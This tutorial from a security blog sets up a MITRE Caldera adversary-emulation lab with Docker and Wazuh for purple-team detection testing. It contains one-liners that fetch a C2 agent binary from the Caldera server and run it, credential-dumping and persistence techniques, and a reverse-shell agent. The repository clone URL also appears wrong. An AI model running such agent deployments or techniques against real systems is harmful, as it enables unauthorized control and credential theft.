Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

2493+ Articles
160+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Projects
  3. MITRE Caldera: Building an Adversary Emulation Lab
MITRE Caldera: Building an Adversary Emulation Lab
PROJECTIntermediate

MITRE Caldera: Building an Adversary Emulation Lab

Deploy MITRE Caldera in your homelab to run automated ATT&CK-based adversary emulation, validate detection rules, and run structured purple team exercises.

Dylan H.

Projects

August 19, 2026
11 min read
3-5 hours

Tools & Technologies

MITRE Caldera v5DockerDocker ComposePython 3.10+

Overview

Purple team exercises are most valuable when they are repeatable, structured, and mapped to a real threat model. Doing that manually — running scripts, logging outcomes, checking SIEM alerts one by one — is slow and error-prone. MITRE Caldera solves this by giving you an automated adversary emulation platform built directly on the MITRE ATT&CK framework.

Caldera lets you define adversary profiles composed of individual ATT&CK techniques (called abilities), deploy lightweight agents on target machines, and run fully automated operations that chain those techniques together. Each operation produces a detailed report showing which techniques ran, what data was collected, and — crucially — which detection rules in your SIEM did or didn't fire.

This project walks you through deploying Caldera in Docker, configuring it for your homelab, deploying a Sandcat agent on a target VM, running your first operation, and correlating the results against Wazuh or another SIEM. By the end you'll have a repeatable purple team pipeline you can run on demand.

What you'll build:

  • Caldera server running in Docker Compose
  • Sandcat C2 agent deployed to a Windows or Linux test VM
  • Custom adversary profile using stock ATT&CK abilities
  • First automated operation with full Debrief report
  • Wazuh integration for detection correlation

Architecture

┌─────────────────────────────────────────┐
│           Homelab Network               │
│                                         │
│  ┌──────────────────────┐               │
│  │   Caldera Server     │  :8888 (UI)   │
│  │   (Docker)           │  :8443 (TLS)  │
│  │                      │  :7010 (HTTP) │
│  │  ┌──────────────┐    │  :7011 (UDP)  │
│  │  │  Stockpile   │    │  :7012 (TCP)  │
│  │  │  Debrief     │    │               │
│  │  │  Compass     │    │               │
│  │  └──────────────┘    │               │
│  └──────────┬───────────┘               │
│             │  C2 beacon                │
│             ▼                           │
│  ┌──────────────────────┐               │
│  │   Target VM          │               │
│  │   (Windows/Linux)    │               │
│  │   Sandcat Agent      │               │
│  └──────────────────────┘               │
│             │  logs/events              │
│             ▼                           │
│  ┌──────────────────────┐               │
│  │   Wazuh / SIEM       │               │
│  │   Detection Validation│               │
│  └──────────────────────┘               │
└─────────────────────────────────────────┘

Caldera's server component exposes a web UI on port 8888 and a set of C2 listening posts that Sandcat agents beacon back to. The agents are small Go binaries compiled on demand — you download them from the Caldera UI, copy them to your target, and run them. After that, Caldera can push any configured ability to the agent and receive results automatically.


Prerequisites

  • Docker Engine 24+ and Docker Compose v2
  • A target VM (Windows 10/11, Windows Server, or any Linux distro) on the same network
  • Wazuh or an ELK/Splunk instance (optional but recommended for detection correlation)
  • 4 GB RAM minimum on the Caldera host; 2 GB on the target VM

Step 1 — Clone and Configure Caldera

Clone the repository with all submodules (plugins are submodules):

git clone https://github.com/apache/caldera.git --recursive --depth 1
cd caldera

Caldera's configuration lives in conf/local.yml. Generate a secure set of credentials before your first run:

# Generate random passwords for the three built-in accounts
python3 -c "import secrets; print(secrets.token_urlsafe(24))"

Run that three times and plug the outputs into conf/local.yml:

# conf/local.yml
users:
  red:
    red: YOUR_RED_PASSWORD
  blue:
    blue: YOUR_BLUE_PASSWORD
  admin:
    admin: YOUR_ADMIN_PASSWORD
 
api_key_red: YOUR_API_KEY_RED
api_key_blue: YOUR_API_KEY_BLUE
 
app.contact.http: http://YOUR_CALDERA_HOST_IP:7010
app.contact.dns.domain: YOUR_CALDERA_HOST_IP

Set app.contact.http to the IP of your Docker host — this is the address the Sandcat agent will beacon back to. If you're running Caldera on 192.168.1.50, that value should be http://192.168.1.50:7010.


Step 2 — Docker Compose Setup

Create a docker-compose.yml in the Caldera root:

version: "3.9"
 
services:
  caldera:
    build:
      context: .
      dockerfile: Dockerfile
    image: caldera:latest
    container_name: caldera
    restart: unless-stopped
    ports:
      - "8888:8888"    # Web UI
      - "8443:8443"    # HTTPS UI
      - "7010:7010"    # HTTP C2 contact
      - "7011:7011/udp" # DNS C2 contact
      - "7012:7012"    # TCP C2 contact
      - "8853:8853"    # HTTPS C2 contact
      - "8022:8022"    # SSH C2 contact
      - "2222:2222"    # Manx reverse shell
    volumes:
      - ./conf:/usr/src/app/conf
      - caldera-data:/usr/src/app/data
    environment:
      - TZ=America/Edmonton
 
volumes:
  caldera-data:

Build and start:

docker compose build
docker compose up -d

The first build takes 5-10 minutes as it compiles the Sandcat agent binaries for multiple platforms. Watch the logs:

docker compose logs -f caldera

Wait for the line All plugins loaded before proceeding.


Step 3 — First Login and Orientation

Open http://YOUR_HOST:8888 in your browser. Log in with the admin / YOUR_ADMIN_PASSWORD credentials from local.yml.

The Caldera UI has five main sections:

SectionPurpose
CampaignsRun and monitor operations
AbilitiesBrowse and create ATT&CK techniques
AdversariesGroup abilities into threat actor profiles
AgentsView connected agents and their status
PluginsEnable/configure Stockpile, Debrief, Compass

Navigate to Plugins and confirm that Stockpile, Debrief, and Compass are enabled. Stockpile provides the default ability library (~200 pre-built ATT&CK techniques). Compass gives you a visual ATT&CK matrix overlay. Debrief generates post-operation reports.


Step 4 — Deploy a Sandcat Agent

Go to Agents → Deploy an Agent. Configure:

  • Agent flavor: Sandcat
  • Platform: Match your target OS (Windows or Linux)
  • C2 contact: HTTP (or TCP for stealthier comms)
  • Group: red (default)

Caldera generates a one-liner. For Linux it looks like:

curl -s -X POST \
  -H "file:sandcat.go-linux" \
  -H "platform:linux" \
  http://192.168.1.50:7010/file/download > /tmp/sandcat && \
chmod +x /tmp/sandcat && \
/tmp/sandcat -server http://192.168.1.50:7010 -group red

For Windows (PowerShell):

$url = "http://192.168.1.50:7010/file/download"
$headers = @{ "file" = "sandcat.go-windows"; "platform" = "windows" }
$r = Invoke-WebRequest -Uri $url -Headers $headers -OutFile "$env:TEMP\sandcat.exe"
Start-Process -FilePath "$env:TEMP\sandcat.exe" `
  -ArgumentList "-server http://192.168.1.50:7010 -group red" `
  -NoNewWindow

Run this on your target VM. Within 30 seconds the agent appears in Agents with a green beacon indicator. Note the agent's paw ID — you'll reference it when configuring operations.


Step 5 — Build an Adversary Profile

Navigate to Adversaries → Create Adversary. Name it something like Basic Recon and Discovery.

Click Add Ability and search for the following techniques from the Stockpile library. Add them in order — Caldera chains them sequentially by default:

TechniqueATT&CK IDWhat it does
Discover system infoT1082Collects OS version, hostname, IP
List running processesT1057Enumerates active processes
Find files by extensionT1083Searches for .doc, .pdf, .txt
Discover local usersT1087.001Lists local accounts
Dump Lsass (Linux: /etc/shadow read)T1003Credential access
Create a scheduled task (Windows)T1053.005Persistence test

For a first exercise, keep it to discovery and collection techniques (T1082, T1057, T1083, T1087). Save the adversary.


Step 6 — Create and Run an Operation

Go to Campaigns → Operations → Create Operation:

  • Operation name: Purple Exercise 001
  • Adversary: Basic Recon and Discovery (the one you just created)
  • Group: red (selects all agents in this group)
  • Planner: Sequential (runs abilities in order)
  • Fact source: basic (Stockpile default facts)
  • Jitter: 2/8 (randomizes delay between 2-8 seconds per technique)

Click Start. The operation panel shows each ability as it executes. Abilities that complete successfully show a green checkmark; failures show red. Click any ability to expand the raw output collected from the agent.

Wait for the operation to reach COMPLETE status. This typically takes 2-5 minutes for a short discovery chain.


Step 7 — Review the Debrief Report

Navigate to Plugins → Debrief and select your operation. Debrief generates:

  • ATT&CK Navigator layer showing exactly which techniques ran
  • Timeline view of each ability, its status, and collected facts
  • Fact graph showing relationships between discovered data (users, processes, files)

Export the ATT&CK Navigator JSON. This file can be imported directly into the ATT&CK Navigator for team review.

Key things to look for in the report:

Operation: Purple Exercise 001
Duration:  3m 42s
Agent:     win-target-01 (Windows 10)

Techniques executed: 4
  ✓ T1082 - System Information Discovery
  ✓ T1057 - Process Discovery
  ✓ T1083 - File and Directory Discovery
  ✗ T1087.001 - Local Account Discovery (ability failed: access denied)

Facts collected:
  host.hostname     = WIN-TARGET-01
  host.os.version   = Windows 10 22H2
  host.processes    = [svchost, explorer, winlogon ...]
  host.files.found  = [C:\Users\testuser\Documents\budget.xlsx]

Step 8 — Detection Correlation with Wazuh

If you're running Wazuh (see the Wazuh XDR/SIEM homelab writeup), the Sandcat agent's activity will generate Windows Security Event Log entries and Sysmon events. Cross-reference the operation timeline in Debrief against Wazuh alerts.

Enable Sysmon on your target VM for richer telemetry:

# Download Sysmon and SwiftOnSecurity config
Invoke-WebRequest https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\sysmon.zip
Expand-Archive C:\sysmon.zip -DestinationPath C:\Sysmon
 
Invoke-WebRequest https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml `
  -OutFile C:\Sysmon\sysmon-config.xml
 
C:\Sysmon\Sysmon64.exe -accepteula -i C:\Sysmon\sysmon-config.xml

After running an operation, check Wazuh for Sysmon Event ID 1 (process creation) and Event ID 11 (file creation). For each ATT&CK technique Caldera ran, you should be able to find a corresponding alert. Techniques that don't generate alerts are your detection coverage gaps.

Build a simple coverage matrix:

TechniqueCaldera ResultWazuh Alert?Gap?
T1082SuccessYes (rule 92100)No
T1057SuccessNo alertYes
T1083SuccessYes (rule 92052)No

Testing Your Setup

Verify the Caldera server is healthy:

# Check API health
curl -H "KEY: YOUR_API_KEY_RED" http://localhost:8888/api/v2/health
 
# List connected agents
curl -H "KEY: YOUR_API_KEY_RED" http://localhost:8888/api/v2/agents | python3 -m json.tool

Verify your agent is beaconing:

# On Linux target — check the process
ps aux | grep sandcat
 
# Should show the sandcat process running and connecting back

Verify abilities loaded from Stockpile:

curl -H "KEY: YOUR_API_KEY_RED" \
  http://localhost:8888/api/v2/abilities | \
  python3 -c "import sys,json; a=json.load(sys.stdin); print(f'{len(a)} abilities loaded')"

Expect 150-200 abilities from the default Stockpile library.


Deployment and Persistence

For a homelab that you want to keep running, add a systemd unit or configure Docker to restart Caldera on reboot:

The restart: unless-stopped policy in your Compose file already handles this. Verify with:

docker inspect caldera --format='{{.HostConfig.RestartPolicy.Name}}'
# Should return: unless-stopped

Persist your adversary profiles and operation history by mounting the data volume. The caldera-data volume in the Compose file handles this — profiles survive container recreates.

Schedule regular operations using Caldera's built-in scheduling (Campaigns → Schedule) to run a lightweight discovery chain nightly. Set it to a low-jitter, sequential planner and pipe results to Debrief for trend tracking.


Extensions and Next Steps

Add more plugins:

  • Manx — TCP reverse-shell agent, useful for testing environments where HTTP beaconing is blocked
  • SSL — Enable TLS on the C2 channel (app.contact.https in local.yml) for encrypted comms testing
  • emu — Connects to MITRE's Adversary Emulation Library for nation-state actor profiles (APT29, APT3)

Build custom abilities:

Caldera abilities are YAML files. Create one for a technique not in Stockpile:

# plugins/stockpile/data/abilities/discovery/my-custom-ability.yml
- id: a5f85c66-1234-4b5e-9a9b-abc123456789
  name: List Docker containers
  description: Enumerate running Docker containers (T1613)
  tactic: discovery
  technique:
    attack_id: T1613
    name: Container and Resource Discovery
  platforms:
    linux:
      sh:
        command: docker ps --format '{{.Names}},{{.Image}},{{.Status}}'
        parsers:
          plugins.stockpile.app.parsers.basic:
            - source: host.docker.containers
              edge: has_container

Integrate with TheHive:

Export Debrief operation data as a TheHive case. Use the Caldera REST API to pull operation facts and post them to TheHive's API — creating a structured incident record that links emulation results to detection findings.

Run the MITRE Evaluations scenarios:

MITRE publishes ATT&CK Evaluations adversary scenarios (APT29, Carbanak, etc.) as Caldera profiles. Install the emu plugin to get access to these — they're the same scenarios MITRE uses to evaluate commercial EDR vendors.

# Inside the caldera directory
git submodule add https://github.com/mitre/emu.git plugins/emu
docker compose restart caldera

Enable the emu plugin in conf/local.yml under plugins: and restart. You'll see nation-state adversary profiles appear in the Adversaries section.

Set detection baselines:

After your first few operations, you'll have a baseline of which Caldera techniques trigger Wazuh/Sysmon alerts. Use this data to:

  1. Write new Wazuh rules for uncovered techniques
  2. Tune noisy rules that fire too broadly
  3. Track detection coverage improvement over time with monthly re-runs
#purple-team#mitre-attack#adversary-emulation#red-team#homelab#detection-engineering#caldera

Related Articles

Gophish Phishing Simulation Lab: Security Awareness Testing in Docker

Deploy a self-hosted phishing simulation platform using Gophish in Docker. Build real-world phishing campaigns, track user engagement, and run security...

12 min read

Step-CA: Build a Private Certificate Authority for Your Homelab

Stop accepting self-signed certificate warnings. Deploy Smallstep's step-ca as a fully automated internal PKI — complete with ACME support, Traefik integration, and browser trust.

9 min read

TheHive: Self-Hosted Incident Response Case Management

Build a production-grade security incident response platform using TheHive 5, Cassandra, Elasticsearch, and MinIO — then integrate it with Wazuh alerts...

9 min read
Back to all Projects